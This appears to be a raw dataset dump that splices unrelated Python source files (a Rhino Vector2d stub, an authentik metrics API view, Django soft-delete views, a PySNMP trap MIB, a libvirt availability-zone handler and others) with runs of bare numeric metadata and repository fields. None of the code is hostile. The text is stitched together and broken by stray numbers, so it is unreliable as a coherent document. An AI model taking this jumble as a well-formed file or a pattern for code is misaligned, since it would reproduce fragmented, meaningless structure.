Returns: true if vector has the same components as this; otherwise false. Equals(self: Vector2d,obj: object) -> bool Determines whether the specified System.Object is a Vector2d and has the same value as the present vector. obj: The specified object. Returns: true if obj is Vector2d and has the same components as this; otherwise false. """ pass def GetHashCode(self): """ GetHashCode(self: Vector2d) -> int Provides a hashing value for the present vector. Returns: A non-unique number based on vector components. """ pass def ToString(self): """ ToString(self: Vector2d) -> str Constructs a string representation of the current vector. Returns: A string in the form X,Y. """ pass def Unitize(self): """ Unitize(self: Vector2d) -> bool Unitizes the vector in place. A unit vector has length 1 unit. An invalid or zero length vector cannot be unitized. Returns: true on success or false on failure. """ pass def __eq__(self, *args): """ x.__eq__(y) <==> x==y """ pass def __ge__(self, *args): pass def __gt__(self, *args): pass def __init__(self, *args): """ x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """ pass def __le__(self, *args): pass def __lt__(self, *args): pass @staticmethod def __new__(self, x, y): """ __new__[Vector2d]() -> Vector2d __new__(cls: type,x: float,y: float) """ pass def __ne__(self, *args): pass def __reduce_ex__(self, *args): pass def __repr__(self, *args): """ __repr__(self: object) -> str """ pass def __str__(self, *args): pass IsValid = property(lambda self: object(), lambda self, v: None, lambda self: None) """Gets a value indicating whether this vector is valid. A valid vector must be formed of valid component values for x,y and z. Get: IsValid(self: Vector2d) -> bool """ Length = property(lambda self: object(), lambda self, v: None, lambda self: None) """Computes the length (or magnitude,or size) of this vector. This is an application of Pythagoras' theorem. Get: Length(self: Vector2d) -> float """ X = property(lambda self: object(), lambda self, v: None, lambda self: None) """Gets or sets the X (first) component of this vector. Get: X(self: Vector2d) -> float Set: X(self: Vector2d)=value """ Y = property(lambda self: object(), lambda self, v: None, lambda self: None) """Gets or sets the Y (second) component of this vector. Get: Y(self: Vector2d) -> float Set: Y(self: Vector2d)=value """ Unset = None Zero = None
19.755556
221
0.597075
545
4,445
4.688073
0.27156
0.041096
0.032877
0.029354
0.260274
0.207045
0.196086
0.196086
0.138943
0.138943
0
0.010652
0.303037
4,445
224
222
19.84375
0.814074
0.457143
0
0.346939
0
0
0
0
0
0
0
0
0
1
0.346939
false
0.346939
0
0
0.489796
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
2
c7529d536131764161f2d47f6647dec191054197
2,039
py
Python
authentik/admin/api/metrics.py
BeryJu/passbook
350f0d836580f4411524614f361a76c4f27b8a2d
[ "MIT" ]
15
2020-01-05T09:09:57.000Z
2020-11-28T05:27:39.000Z
authentik/admin/api/metrics.py
BeryJu/passbook
350f0d836580f4411524614f361a76c4f27b8a2d
[ "MIT" ]
302
2020-01-21T08:03:59.000Z
2020-12-04T05:04:57.000Z
authentik/admin/api/metrics.py
BeryJu/passbook
350f0d836580f4411524614f361a76c4f27b8a2d
[ "MIT" ]
3
2020-03-04T08:21:59.000Z
2020-08-01T20:37:18.000Z
"""authentik administration metrics""" from drf_spectacular.utils import extend_schema, extend_schema_field from guardian.shortcuts import get_objects_for_user from rest_framework.fields import IntegerField, SerializerMethodField from rest_framework.permissions import IsAdminUser from rest_framework.request import Request from rest_framework.response import Response from rest_framework.views import APIView from authentik.core.api.utils import PassiveSerializer from authentik.events.models import EventAction class CoordinateSerializer(PassiveSerializer): """Coordinates for diagrams""" x_cord = IntegerField(read_only=True) y_cord = IntegerField(read_only=True) class LoginMetricsSerializer(PassiveSerializer): """Login Metrics per 1h""" logins_per_1h = SerializerMethodField() logins_failed_per_1h = SerializerMethodField() @extend_schema_field(CoordinateSerializer(many=True)) def get_logins_per_1h(self, _): """Get successful logins per hour for the last 24 hours""" user = self.context["user"] return ( get_objects_for_user(user, "authentik_events.view_event") .filter(action=EventAction.LOGIN) .get_events_per_hour() ) @extend_schema_field(CoordinateSerializer(many=True)) def get_logins_failed_per_1h(self, _): """Get failed logins per hour for the last 24 hours""" user = self.context["user"] return ( get_objects_for_user(user, "authentik_events.view_event") .filter(action=EventAction.LOGIN_FAILED) .get_events_per_hour() ) class AdministrationMetricsViewSet(APIView): """Login Metrics per 1h""" permission_classes = [IsAdminUser] @extend_schema(responses={200: LoginMetricsSerializer(many=False)}) def get(self, request: Request) -> Response: """Login Metrics per 1h""" serializer = LoginMetricsSerializer(True) serializer.context["user"] = request.user return Response(serializer.data)
34.559322
71
0.728298
228
2,039
6.280702
0.320175
0.024441
0.059358
0.035615
0.297486
0.25838
0.25838
0.25838
0.25838
0.178771
0
0.008429
0.185385
2,039
58
72
35.155172
0.853703
0.108877
0
0.263158
0
0
0.037058
0.03032
0
0
0
0
0
1
0.078947
false
0.078947
0.236842
0
0.605263
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
c75b2c7297e63e397681613f3d65a5607c279642
2,302
py
Python
softdelete/views.py
BehaviorCloud/django-softdelete
f74fb5a2ef2c3777d1c2a30513cf57c641649096
[ "BSD-2-Clause" ]
null
null
null
softdelete/views.py
BehaviorCloud/django-softdelete
f74fb5a2ef2c3777d1c2a30513cf57c641649096
[ "BSD-2-Clause" ]
null
null
null
softdelete/views.py
BehaviorCloud/django-softdelete
f74fb5a2ef2c3777d1c2a30513cf57c641649096
[ "BSD-2-Clause" ]
null
null
null
from django.http import HttpResponse, Http404, HttpResponseRedirect from django.conf import settings from django.shortcuts import render_to_response, get_object_or_404, redirect from django.core.urlresolvers import reverse from django.core import serializers from django.contrib import auth from django.contrib.auth.decorators import permission_required from django.forms.models import inlineformset_factory from django.views.generic import * from django.views.generic.base import TemplateResponseMixin, View from django.views.decorators.csrf import csrf_exempt from django.utils.decorators import method_decorator from django.template import RequestContext from softdelete.forms import * from softdelete.models import * import logging class ProtectedView(object): @method_decorator(permission_required('softdelete.can_undelete')) def dispatch(self, *args, **kwargs): return super(ProtectedView, self).dispatch(*args, **kwargs) def get_context_data(self, **kwargs): context = super(ProtectedView, self).get_context_data(**kwargs) context['request'] = self.request return context class ChangeSetList(ProtectedView, ListView): model = ChangeSet def get_query_set(self): return self.model.objects.all() def get_queryset(self): return self.model.objects.all() class ChangeSetDetail(ProtectedView, DetailView): model = ChangeSet def get_object(self): return get_object_or_404(ChangeSet, pk=self.kwargs['changeset_pk']) class ChangeSetUpdate(ProtectedView, UpdateView): model = ChangeSet form_class = ChangeSetForm def get_object(self): return get_object_or_404(ChangeSet, pk=self.kwargs['changeset_pk']) def get_success_url(self): return reverse('softdelete.changeset.list') @method_decorator(csrf_exempt) def dispatch(self, *args, **kwargs): return super(ChangeSetUpdate, self).dispatch(*args, **kwargs) def post(self, request, *args, **kwargs): if request.POST.get('action') != 'Undelete': return HttpResponseRedirect(reverse('softdelete.changeset.view', args=(kwargs['changeset_pk'],))) self.get_object().undelete() return HttpResponseRedirect(self.get_success_url())
36.539683
80
0.735013
268
2,302
6.171642
0.302239
0.078597
0.019952
0.025393
0.191052
0.160822
0.125756
0.082225
0.082225
0.082225
0
0.006286
0.170721
2,302
62
81
37.129032
0.860136
0
0
0.22
0
0
0.056473
0.031712
0
0
0
0
0
1
0.18
false
0
0.32
0.14
0.86
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
1
0
0
0
2
c7625c7eb0f13c1cf1ef14f3c1cc3bff22b519e2
711
py
Python
src/old-verbio/tools.py
jasondraether/verbio
0db543ebdee05e5cc24556d2239b7eaf215361a2
[ "MIT" ]
null
null
null
src/old-verbio/tools.py
jasondraether/verbio
0db543ebdee05e5cc24556d2239b7eaf215361a2
[ "MIT" ]
null
null
null
src/old-verbio/tools.py
jasondraether/verbio
0db543ebdee05e5cc24556d2239b7eaf215361a2
[ "MIT" ]
null
null
null
from typing import List def combine_dicts(data_map1: dict, data_map2: dict) -> dict: return {**data_map1, **data_map2} def is_pt_valid(data_map: dict, exp_features: List[str], exp_sessions: List[str]) -> bool: """Searches for (feature, session) pairs in data map for participant Args: data_map (dict): Dictionary indexed with keys (feature, session) exp_features (List[str]): Expected features to search for exp_sessions (List[str]): Expected sessions to search for Returns: bool: True if participant has all expected feature session pairs, False otherwise """ for feature in exp_features: for session in exp_sessions: if (feature, session) not in data_map: return False return True
32.318182
90
0.746835
107
711
4.813084
0.411215
0.054369
0.042718
0.069903
0
0
0
0
0
0
0
0.006723
0.16315
711
21
91
33.857143
0.858824
0.530239
0
0
0
0
0
0
0
0
0
0
0
1
0.25
false
0
0.125
0.125
0.625
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
2
c7649ce2cbf3a49e2d9974e2aff71ea1225a1b10
625
py
Python
grammar/models.py
andyfangdzarchive/My-SAT-Life
789b556c603d1ca59173f99a86399397135f483d
[ "Unlicense" ]
null
null
null
grammar/models.py
andyfangdzarchive/My-SAT-Life
789b556c603d1ca59173f99a86399397135f483d
[ "Unlicense" ]
null
null
null
grammar/models.py
andyfangdzarchive/My-SAT-Life
789b556c603d1ca59173f99a86399397135f483d
[ "Unlicense" ]
null
null
null
from django.db import models # Create your models here. class Grammar(models.Model): nick = models.CharField('Nick name',max_length=200) question_1st = models.CharField('First part of question',max_length=200) question_2nd = models.CharField('Second part of question',max_length=200) pub_date = models.DateTimeField('date published') def __unicode__(self): return self.nick class Choice(models.Model): parent = models.ForeignKey(Grammar) choice_text = models.CharField(max_length=200) is_correct = models.BooleanField('This is the correct answer') def __unicode__(self): return self.choice_text
31.25
75
0.7632
86
625
5.337209
0.488372
0.130719
0.104575
0.087146
0.217865
0.11329
0
0
0
0
0
0.025878
0.1344
625
19
76
32.894737
0.822551
0.0384
0
0.142857
0
0
0.156928
0
0
0
0
0
0
1
0.142857
false
0
0.071429
0.142857
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
1
0
0
2
c76e13a088d71a1fbb7fe6f15ab10548482edf8b
508
py
Python
sunblaze_envs/base.py
llucid-97/rl-generalization
5561067d6fe0f8873a1e83b2479a6a6faa820dfa
[ "MIT" ]
84
2018-10-31T19:45:03.000Z
2022-02-17T17:29:12.000Z
sunblaze_envs/base.py
llucid-97/rl-generalization
5561067d6fe0f8873a1e83b2479a6a6faa820dfa
[ "MIT" ]
9
2018-11-29T13:29:59.000Z
2021-05-11T23:54:20.000Z
sunblaze_envs/base.py
llucid-97/rl-generalization
5561067d6fe0f8873a1e83b2479a6a6faa820dfa
[ "MIT" ]
15
2018-10-31T19:45:29.000Z
2022-03-25T16:06:11.000Z
from abc import ABC, abstractmethod import gym class BaseGymEnvironment(gym.Env): """Base class for all Gym environments.""" @property def parameters(self): """Return environment parameters.""" return { 'id': self.spec.id, } class EnvBinarySuccessMixin(ABC): """Adds binary success metric to environment.""" @abstractmethod def is_success(self): """Returns True is current state indicates success, False otherwise""" pass
20.32
79
0.635827
53
508
6.075472
0.660377
0
0
0
0
0
0
0
0
0
0
0
0.261811
508
24
80
21.166667
0.858667
0.344488
0
0
0
0
0.006431
0
0
0
0
0
0
1
0.166667
false
0.083333
0.166667
0
0.583333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
c775207c06053963492d92c714c9735b516b1198
414
py
Python
sandbox/core/system.py
xe1gyq/EekMex
dbe5c39a7fca92b7f3e734ae729176024149edf7
[ "Apache-2.0" ]
null
null
null
sandbox/core/system.py
xe1gyq/EekMex
dbe5c39a7fca92b7f3e734ae729176024149edf7
[ "Apache-2.0" ]
2
2015-06-16T13:38:55.000Z
2015-06-17T02:05:17.000Z
sandbox/core/system.py
xe1gyq/eekmex
dbe5c39a7fca92b7f3e734ae729176024149edf7
[ "Apache-2.0" ]
null
null
null
import commands import logging import numpy import math import psutil from utilities import BytesToHuman class System(object): def __init__(self): pass def cpu(mode): output = psutil.cpu_times_percent(interval=1, percpu=False) return "%.1f" % output.system def memory(self): output = psutil.virtual_memory() return BytesToHuman(output.total) # End of File
18
67
0.683575
51
414
5.411765
0.647059
0.086957
0
0
0
0
0
0
0
0
0
0.006329
0.236715
414
22
68
18.818182
0.867089
0.02657
0
0
0
0
0.009975
0
0
0
0
0
0
1
0.2
false
0.066667
0.4
0
0.8
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
1
0
0
0
0
2
c77c3c06c0d22b5c72807917b4d4c2d20c303cd3
14,678
py
Python
pysnmp-with-texts/AGG-TRAP-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
8
2019-05-09T17:04:00.000Z
2021-06-09T06:50:51.000Z
pysnmp-with-texts/AGG-TRAP-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
4
2019-05-31T16:42:59.000Z
2020-01-31T21:57:17.000Z
pysnmp-with-texts/AGG-TRAP-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
10
2019-04-30T05:51:36.000Z
2022-02-16T03:33:41.000Z
# # PySNMP MIB module AGG-TRAP-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/AGG-TRAP-MIB # Produced by pysmi-0.3.4 at Wed May 1 11:15:43 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # devName, mateHost, unknownDeviceTrapContents, pepName, oldFile, reason, result, matePort, file, sbProducerPort, port, snName, host, myHost, minutes, newFile, sbProducerHost, myPort = mibBuilder.importSymbols("AGGREGATED-EXT-MIB", "devName", "mateHost", "unknownDeviceTrapContents", "pepName", "oldFile", "reason", "result", "matePort", "file", "sbProducerPort", "port", "snName", "host", "myHost", "minutes", "newFile", "sbProducerHost", "myPort") ObjectIdentifier, OctetString, Integer = mibBuilder.importSymbols("ASN1", "ObjectIdentifier", "OctetString", "Integer") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") SingleValueConstraint, ValueSizeConstraint, ValueRangeConstraint, ConstraintsIntersection, ConstraintsUnion = mibBuilder.importSymbols("ASN1-REFINEMENT", "SingleValueConstraint", "ValueSizeConstraint", "ValueRangeConstraint", "ConstraintsIntersection", "ConstraintsUnion") NotificationGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ModuleCompliance") snmpModules, ObjectName, Counter32, IpAddress, Integer32, TimeTicks, ModuleIdentity, Unsigned32, Gauge32, NotificationType, enterprises, Counter64, Bits, ObjectIdentity, MibScalar, MibTable, MibTableRow, MibTableColumn, MibIdentifier, iso = mibBuilder.importSymbols("SNMPv2-SMI", "snmpModules", "ObjectName", "Counter32", "IpAddress", "Integer32", "TimeTicks", "ModuleIdentity", "Unsigned32", "Gauge32", "NotificationType", "enterprises", "Counter64", "Bits", "ObjectIdentity", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "MibIdentifier", "iso") RowStatus, TruthValue, TestAndIncr, DisplayString, TimeStamp, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "RowStatus", "TruthValue", "TestAndIncr", "DisplayString", "TimeStamp", "TextualConvention") lucent = MibIdentifier((1, 3, 6, 1, 4, 1, 1751)) products = MibIdentifier((1, 3, 6, 1, 4, 1, 1751, 1)) mantraDevice = MibIdentifier((1, 3, 6, 1, 4, 1, 1751, 1, 1198)) mantraTraps = ModuleIdentity((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0)) if mibBuilder.loadTexts: mantraTraps.setLastUpdated('240701') if mibBuilder.loadTexts: mantraTraps.setOrganization('Lucent Technologies') if mibBuilder.loadTexts: mantraTraps.setContactInfo('') if mibBuilder.loadTexts: mantraTraps.setDescription('The MIB module for entities implementing the xxxx protocol.') unParsedEvent = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 5)).setObjects(("AGGREGATED-EXT-MIB", "unknownDeviceTrapContents")) if mibBuilder.loadTexts: unParsedEvent.setStatus('current') if mibBuilder.loadTexts: unParsedEvent.setDescription('An event is sent up as unParsedEvent, if there is an error in formatting, and event construction does not succeed. The variables are: 1) unknownDeviceTrapContents - a string representing the event text as the pep received it. Severity: MAJOR') styxProducerConnect = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 6)).setObjects(("AGGREGATED-EXT-MIB", "pepName"), ("AGGREGATED-EXT-MIB", "devName"), ("AGGREGATED-EXT-MIB", "host"), ("AGGREGATED-EXT-MIB", "port"), ("AGGREGATED-EXT-MIB", "file")) if mibBuilder.loadTexts: styxProducerConnect.setStatus('current') if mibBuilder.loadTexts: styxProducerConnect.setDescription('Indicates that the pep was sucessfully able to connect to the source of events specified in its config. The variables are: 1) pepName - this is the name of the PEP who is raising the event 2) devName - this is the logical name of the device this pep is connected to 3-4) host:port - these two identify the device that was mounted by the pep 5) file - this is the file name used internally start-up event, mainly. Severity: INFO') styxProducerUnReadable = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 7)).setObjects(("AGGREGATED-EXT-MIB", "pepName"), ("AGGREGATED-EXT-MIB", "devName"), ("AGGREGATED-EXT-MIB", "host"), ("AGGREGATED-EXT-MIB", "port"), ("AGGREGATED-EXT-MIB", "file")) if mibBuilder.loadTexts: styxProducerUnReadable.setStatus('current') if mibBuilder.loadTexts: styxProducerUnReadable.setDescription("Indicates that the pep's connection exists to the device, but the file named in the trap is not readable. The variables are: 1) pepName - this is the name of the PEP who is raising the event 2) devName - this is the logical name of the device this pep is connected to 3-4) host:port - these two identify the device that was mounted by the pep 5) file - this is the file name used internally Severity: MAJOR") styxProducerDisconnect = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 8)).setObjects(("AGGREGATED-EXT-MIB", "pepName"), ("AGGREGATED-EXT-MIB", "devName"), ("AGGREGATED-EXT-MIB", "host"), ("AGGREGATED-EXT-MIB", "port"), ("AGGREGATED-EXT-MIB", "file")) if mibBuilder.loadTexts: styxProducerDisconnect.setStatus('current') if mibBuilder.loadTexts: styxProducerDisconnect.setDescription("Indicates that the pep's connection to the source of events was severed. This could either be because device process died, or because there is a network outage. The variables are: 1) pepName - this is the name of the PEP who is raising the event 2) devName - this is the logical name of the device this pep is connected to 3-4) host:port - these two identify the device that was mounted by the pep 5) file - this is the file name used internally Severity: MAJOR") styxProducerUnReachable = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 9)).setObjects(("AGGREGATED-EXT-MIB", "pepName"), ("AGGREGATED-EXT-MIB", "devName"), ("AGGREGATED-EXT-MIB", "host"), ("AGGREGATED-EXT-MIB", "port"), ("AGGREGATED-EXT-MIB", "file"), ("AGGREGATED-EXT-MIB", "minutes")) if mibBuilder.loadTexts: styxProducerUnReachable.setStatus('current') if mibBuilder.loadTexts: styxProducerUnReachable.setDescription("Indicates that the pep's connection to the device has not been up for some time now, indicated in minutes. The variables are: 1) pepName - this is the name of the PEP who is raising the event 2) devName - this is the logical name of the device this pep is connected to 3-4) host, port - these two identify the device that was mounted by the pep 5) file - this is the file name used internally minutes - the time in minutes for which the connection to the device has not been up. Severity: MAJOR") logFileChanged = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 10)).setObjects(("AGGREGATED-EXT-MIB", "oldFile"), ("AGGREGATED-EXT-MIB", "newFile"), ("AGGREGATED-EXT-MIB", "result"), ("AGGREGATED-EXT-MIB", "reason")) if mibBuilder.loadTexts: logFileChanged.setStatus('current') if mibBuilder.loadTexts: logFileChanged.setDescription("Indicates that a log-file-change attempt is successful or failure. The variables are: 1) oldFile - this is the name of the old file which was to be changed. 2) newFile - this is the new log file name 3) result - this indicates 'success' or failure of logFileChange attempt. 4) reason - this describes the reason when log file change has failed. Severity: INFO") styxFTMateConnect = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 11)).setObjects(("AGGREGATED-EXT-MIB", "snName"), ("AGGREGATED-EXT-MIB", "myHost"), ("AGGREGATED-EXT-MIB", "myPort"), ("AGGREGATED-EXT-MIB", "mateHost"), ("AGGREGATED-EXT-MIB", "matePort")) if mibBuilder.loadTexts: styxFTMateConnect.setStatus('current') if mibBuilder.loadTexts: styxFTMateConnect.setDescription('Indicates that this ServiceNode was sucessfully able to connect to its redundant mate. This event is usually raised by the Backup mate who is responsible for monitoring its respective Primary. The variables are: 1) snName - this is the name of the ServiceNode who is raising the event. 2-3) myHost:myPort - these identify the host and port of the ServiceNode raising the event. 4-5) mateHost:matePort - these identify the host and port of the mate to which this ServiceNode connected. Severity: INFO') styxFTMateDisconnect = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 12)).setObjects(("AGGREGATED-EXT-MIB", "snName"), ("AGGREGATED-EXT-MIB", "myHost"), ("AGGREGATED-EXT-MIB", "myPort"), ("AGGREGATED-EXT-MIB", "mateHost"), ("AGGREGATED-EXT-MIB", "matePort")) if mibBuilder.loadTexts: styxFTMateDisconnect.setStatus('current') if mibBuilder.loadTexts: styxFTMateDisconnect.setDescription('Indicates that this ServiceNode has lost connection to its redundant mate due to either process or host failure. This event is usually raised by the Backup mate who is monitoring its respective Primary. Connection will be established upon recovery of the mate. The variables are: 1) snName - this is the name of the ServiceNode who is raising the event 2-3) myHost:myPort - these identify the host and port of the ServiceNode raising the event. 4-5) mateHost:matePort - these identify the host and port of the mate to which this ServiceNode lost connection. Severity: MAJOR') sBProducerUnreachable = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 13)).setObjects(("AGGREGATED-EXT-MIB", "pepName"), ("AGGREGATED-EXT-MIB", "devName"), ("AGGREGATED-EXT-MIB", "sbProducerHost"), ("AGGREGATED-EXT-MIB", "sbProducerPort")) if mibBuilder.loadTexts: sBProducerUnreachable.setStatus('current') if mibBuilder.loadTexts: sBProducerUnreachable.setDescription('Indicates that this Socket Based Producer is not reachable by the Policy Enforcement Point. The variables are: 1) pepName - this is the name of the Policy Enforcement Point (PEP) who is raising the event 2) devName: Device which is unreachable 3) sbProducerHost: Host where the Socket Based event producer is on. 4) sbProducerPort: Port where the Socket Based event producer is running on. Severity: MAJOR') sBProducerConnected = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 14)).setObjects(("AGGREGATED-EXT-MIB", "pepName"), ("AGGREGATED-EXT-MIB", "devName"), ("AGGREGATED-EXT-MIB", "sbProducerHost"), ("AGGREGATED-EXT-MIB", "sbProducerPort")) if mibBuilder.loadTexts: sBProducerConnected.setStatus('current') if mibBuilder.loadTexts: sBProducerConnected.setDescription('Indicates that this Socket Based Producer has connected to the Policy Enforcement Point (PEP). The variables are: 1) pepName - this is the name of the Policy Enforcement Point (PEP) who is raising the event 2) devName: Device which is unreachable 3) sbProducerHost: Host where the Socket Based event producer is on. 4) sbProducerPort: Port where the Socket Based event producer is running on. Severity: MAJOR') sBProducerRegistered = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 15)).setObjects(("AGGREGATED-EXT-MIB", "pepName"), ("AGGREGATED-EXT-MIB", "devName"), ("AGGREGATED-EXT-MIB", "sbProducerHost"), ("AGGREGATED-EXT-MIB", "sbProducerPort")) if mibBuilder.loadTexts: sBProducerRegistered.setStatus('current') if mibBuilder.loadTexts: sBProducerRegistered.setDescription('Indicates that this Socket Based Producer has registered with the Policy Enforcement Point (PEP). The variables are: 1) pepName - this is the name of the Policy Enforcement Point (PEP) who is raising the event 2) devName: Device which is unreachable 3) sbProducerHost: Host where the Socket Based event producer is on. 4) sbProducerPort: Port where the Socket Based event producer is running on. Severity: INFO') sBProducerDisconnected = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 16)).setObjects(("AGGREGATED-EXT-MIB", "pepName"), ("AGGREGATED-EXT-MIB", "devName"), ("AGGREGATED-EXT-MIB", "sbProducerHost"), ("AGGREGATED-EXT-MIB", "sbProducerPort")) if mibBuilder.loadTexts: sBProducerDisconnected.setStatus('current') if mibBuilder.loadTexts: sBProducerDisconnected.setDescription('Indicates that this Socket Based Producer has disconnected from the Policy Enforcement Point (PEP). The variables are: 1) pepName - this is the name of the Policy Enforcement Point (PEP) who is raising the event 2) devName: Device which is unreachable 3) sbProducerHost: Host where the Socket Based event producer is on. 4) sbProducerPort: Port where the Socket Based event producer is running on. Severity: INFO') sBProducerCannotRegister = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 17)).setObjects(("AGGREGATED-EXT-MIB", "pepName"), ("AGGREGATED-EXT-MIB", "devName"), ("AGGREGATED-EXT-MIB", "sbProducerHost"), ("AGGREGATED-EXT-MIB", "sbProducerPort")) if mibBuilder.loadTexts: sBProducerCannotRegister.setStatus('current') if mibBuilder.loadTexts: sBProducerCannotRegister.setDescription('Indicates that this Socket Based Producer cannot register to the Policy Enforcement Point (PEP). The variables are: 1) pepName - this is the name of the Policy Enforcement Point (PEP) who is raising the event 2) devName: Device which is unreachable 3) sbProducerHost: Host where the Socket Based event producer is on. 4) sbProducerPort: Port where the Socket Based event producer is running on. Severity: INFO') sBProducerCannotDisconnect = NotificationType((1, 3, 6, 1, 4, 1, 1751, 1, 1198, 0, 18)).setObjects(("AGGREGATED-EXT-MIB", "pepName"), ("AGGREGATED-EXT-MIB", "devName"), ("AGGREGATED-EXT-MIB", "sbProducerHost"), ("AGGREGATED-EXT-MIB", "sbProducerPort")) if mibBuilder.loadTexts: sBProducerCannotDisconnect.setStatus('current') if mibBuilder.loadTexts: sBProducerCannotDisconnect.setDescription('Indicates that this Socket Based Producer cannot disconenct from the Policy Enforcement Point (PEP). The variables are: 1) pepName - this is the name of the Policy Enforcement Point (PEP) who is raising the event 2) devName: Device which is unreachable 3) sbProducerHost: Host where the Socket Based event producer is on. 4) sbProducerPort: Port where the Socket Based event producer is running on. Severity: INFO') mibBuilder.exportSymbols("AGG-TRAP-MIB", sBProducerUnreachable=sBProducerUnreachable, sBProducerRegistered=sBProducerRegistered, PYSNMP_MODULE_ID=mantraTraps, sBProducerDisconnected=sBProducerDisconnected, products=products, styxProducerConnect=styxProducerConnect, mantraTraps=mantraTraps, styxFTMateDisconnect=styxFTMateDisconnect, sBProducerCannotDisconnect=sBProducerCannotDisconnect, styxProducerUnReachable=styxProducerUnReachable, sBProducerCannotRegister=sBProducerCannotRegister, unParsedEvent=unParsedEvent, styxFTMateConnect=styxFTMateConnect, sBProducerConnected=sBProducerConnected, logFileChanged=logFileChanged, lucent=lucent, styxProducerDisconnect=styxProducerDisconnect, mantraDevice=mantraDevice, styxProducerUnReadable=styxProducerUnReadable)
222.393939
762
0.773675
1,919
14,678
5.916623
0.147473
0.069843
0.085961
0.006341
0.661793
0.585697
0.566849
0.55857
0.528184
0.514973
0
0.033109
0.111051
14,678
65
763
225.815385
0.837063
0.021665
0
0
0
0.241379
0.581702
0.008292
0
0
0
0
0
1
0
false
0
0.12069
0
0.12069
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
c77f898d76cf8e18e8e2eb890fe0b72eaf3ee59f
597
py
Python
libvirt_ebs/handlers/az.py
elprans/libvirt-ebs
a414711248db21de250d7740af06f8106cee57b8
[ "Apache-2.0" ]
null
null
null
libvirt_ebs/handlers/az.py
elprans/libvirt-ebs
a414711248db21de250d7740af06f8106cee57b8
[ "Apache-2.0" ]
null
null
null
libvirt_ebs/handlers/az.py
elprans/libvirt-ebs
a414711248db21de250d7740af06f8106cee57b8
[ "Apache-2.0" ]
null
null
null
from __future__ import annotations import asyncio import textwrap from typing import Any, Dict, Tuple import libvirt from . import _routing from .. import objects @_routing.handler("DescribeAvailabilityZones") async def describe_availability_zones( args: _routing.HandlerArgs, app: _routing.App, ) -> Dict[str, Any]: return { "availabilityZoneInfo": [{ "optInStatus": "opt-in-not-required", "zoneName": "us-east-2a", "zoneId": "us-east-2a", "zoneState": "available", "regionName": "us-east-2", }], }
22.111111
49
0.626466
60
597
6.066667
0.666667
0.049451
0.043956
0
0
0
0
0
0
0
0
0.006696
0.249581
597
27
50
22.111111
0.805804
0
0
0
0
0
0.244147
0.041806
0
0
0
0
0
1
0
true
0
0.333333
0
0.380952
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
2
c7830cb60d63f7fff72b04c0fea72b104f294e4d
1,567
py
Python
plugins/google_directory/icon_google_directory/actions/get_all_domain_users/schema.py
lukaszlaszuk/insightconnect-plugins
8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892
[ "MIT" ]
46
2019-06-05T20:47:58.000Z
2022-03-29T10:18:01.000Z
plugins/google_directory/icon_google_directory/actions/get_all_domain_users/schema.py
lukaszlaszuk/insightconnect-plugins
8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892
[ "MIT" ]
386
2019-06-07T20:20:39.000Z
2022-03-30T17:35:01.000Z
plugins/google_directory/icon_google_directory/actions/get_all_domain_users/schema.py
